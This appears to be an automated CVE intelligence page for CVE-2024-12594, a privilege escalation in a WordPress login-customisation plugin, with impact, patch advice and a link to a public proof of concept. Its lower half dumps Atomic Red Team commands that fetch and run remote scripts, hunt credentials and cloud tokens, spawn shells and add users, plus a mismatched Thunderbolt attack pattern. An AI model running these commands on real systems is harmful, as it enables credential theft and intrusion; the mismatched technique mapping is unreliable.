CVE-2024-12594
Overview
This vulnerability is a privilege escalation flaw caused by the absence of a capability check in the AJAX action handler 'lps_generate_temp_access_url' within the Custom Login Page Styler plugin for WordPress. The affected component is the AJAX endpoint responsible for generating temporary admin login URLs. The missing authorization validation allows authenticated users with minimal privileges to invoke functions reserved for higher privilege levels.
Vulnerability Description
The Custom Login Page Styler – Login Protected Private Site , Change wp-admin login url , WordPress login logo , Temporary admin login access , Rename login , Login customizer, Hide wp-login – Limit Login Attempts – Locked Site plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the 'lps_generate_temp_access_url' AJAX action in all versions up to, and including, 7.1.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to login as other users such as subscribers.
Impact
An attacker with authenticated Subscriber-level access can exploit this vulnerability to escalate privileges by generating temporary login URLs for other users, including administrators. This enables unauthorized access to higher-privileged accounts without requiring additional authentication or network access beyond standard login. The breach can lead to full site compromise, data theft, and unauthorized administrative actions. The CVSS vector (AV:N/AC:L/PR:L/UI:N) confirms network attack with low complexity and no user interaction, requiring only authenticated access.
Solution
Users of the Custom Login Page Styler plugin should upgrade to version 7.1.2 or later, where the missing capability check on the 'lps_generate_temp_access_url' AJAX action has been implemented. Detailed patch information and update instructions are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/8e50c519-7d79-4270-92e8-75e54bb08cff and the WordPress plugin repository changelog. Applying this update is the recommended remediation to restore proper access controls.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Custom Login Page Styler plugin for WordPress stems from a lack of proper capability checks on the AJAX action responsible for generating temporary access URLs. This oversight allows authenticated users, even those with the lowest privilege level of Subscriber, to exploit the system and gain unauthorized access to other users' accounts. The absence of a robust verification mechanism means that any authenticated user can invoke the 'lps_generate_temp_access_url' action, thereby bypassing the intended access controls. This flaw is particularly concerning as it compromises the integrity of user authentication and authorization processes within the WordPress environment.
Attack vectors for this vulnerability are straightforward yet effective. An attacker with Subscriber-level access can leverage the AJAX action to generate a temporary login URL for any other user, including those with higher privileges. For instance, an attacker could target an Administrator or Editor account, gaining access to sensitive data and administrative functionalities. The exploitation can occur without the need for sophisticated techniques, making it accessible to a wide range of attackers. Once inside, the attacker can manipulate site content, access private information, or further escalate privileges, leading to a complete compromise of the WordPress site.
The real-world implications of this vulnerability are significant. Organizations relying on WordPress for their online presence may face severe reputational damage, financial loss, and legal repercussions if user accounts are compromised. The risk is amplified in environments where sensitive data is handled, such as e-commerce sites or membership platforms. The potential for data breaches and the unauthorized alteration of content can lead to loss of customer trust and regulatory scrutiny. Moreover, the ease of exploitation means that even low-skilled attackers could potentially disrupt operations, making this vulnerability a critical concern for businesses.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify outdated plugins and unpatched vulnerabilities. It is crucial to keep the Custom Login Page Styler plugin updated to the latest version, as updates often include security patches that address known issues. Additionally, employing a Web Application Firewall (WAF) can provide an extra layer of protection by filtering and monitoring HTTP requests to the server. Implementing strict user role management and limiting the capabilities of lower-privileged users can also help mitigate the risk of exploitation. Finally, educating users about the importance of strong passwords and account security can further reduce the likelihood of unauthorized access.
In conclusion, the vulnerability within the Custom Login Page Styler plugin poses a significant threat to WordPress sites, enabling privilege escalation through a simple exploitation of AJAX actions. The potential for unauthorized access to user accounts highlights the need for vigilant security practices and proactive measures. Organizations must prioritize the detection and mitigation of such vulnerabilities to safeguard their digital assets and maintain user trust. By adopting a comprehensive approach to security, including timely updates, user education, and robust access controls, businesses can effectively reduce their risk exposure and protect against potential breaches.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-12594, rising by 34% to a current level that places it near the 89th percentile of exploit likelihood. This upward trend, alongside a steady increase observed over the past week, indicates growing interest and potential exploitation attempts targeting the vulnerability in the Custom Login Page Styler plugin. Additionally, the emergence of new proof-of-concept exploits publicly available on GitHub underscores the expanding attack surface and lowers the barrier for threat actors to leverage this privilege escalation flaw. For defenders, this escalation signals an elevated risk environment where opportunistic attackers with minimal access privileges can more readily escalate their permissions, potentially compromising WordPress site integrity and user accounts. Consequently, the threat level associated with this vulnerability has intensified, warranting heightened vigilance despite the absence of confirmed widespread exploitation campaigns. Our telemetry suggests that while exploitation remains targeted rather than indiscriminate, the increased exploitability and public proof-of-concept availability amplify the urgency for detection and response capabilities focused on this vector.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-12594
ALL In One Custom Login Page <= 7.1.1 - Missing Authorization to Authenticated (Subscriber+)Privilege Escalation
|
RandomRobbieBF | 0 | 0 | 2025-01-06 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12594 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/8e50c519-7d79-4270-92e8-75e54bb08cff?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3208192%40login-page-styler&new=3208192%40login-page-styler&sfp_email=&sfph_mail= |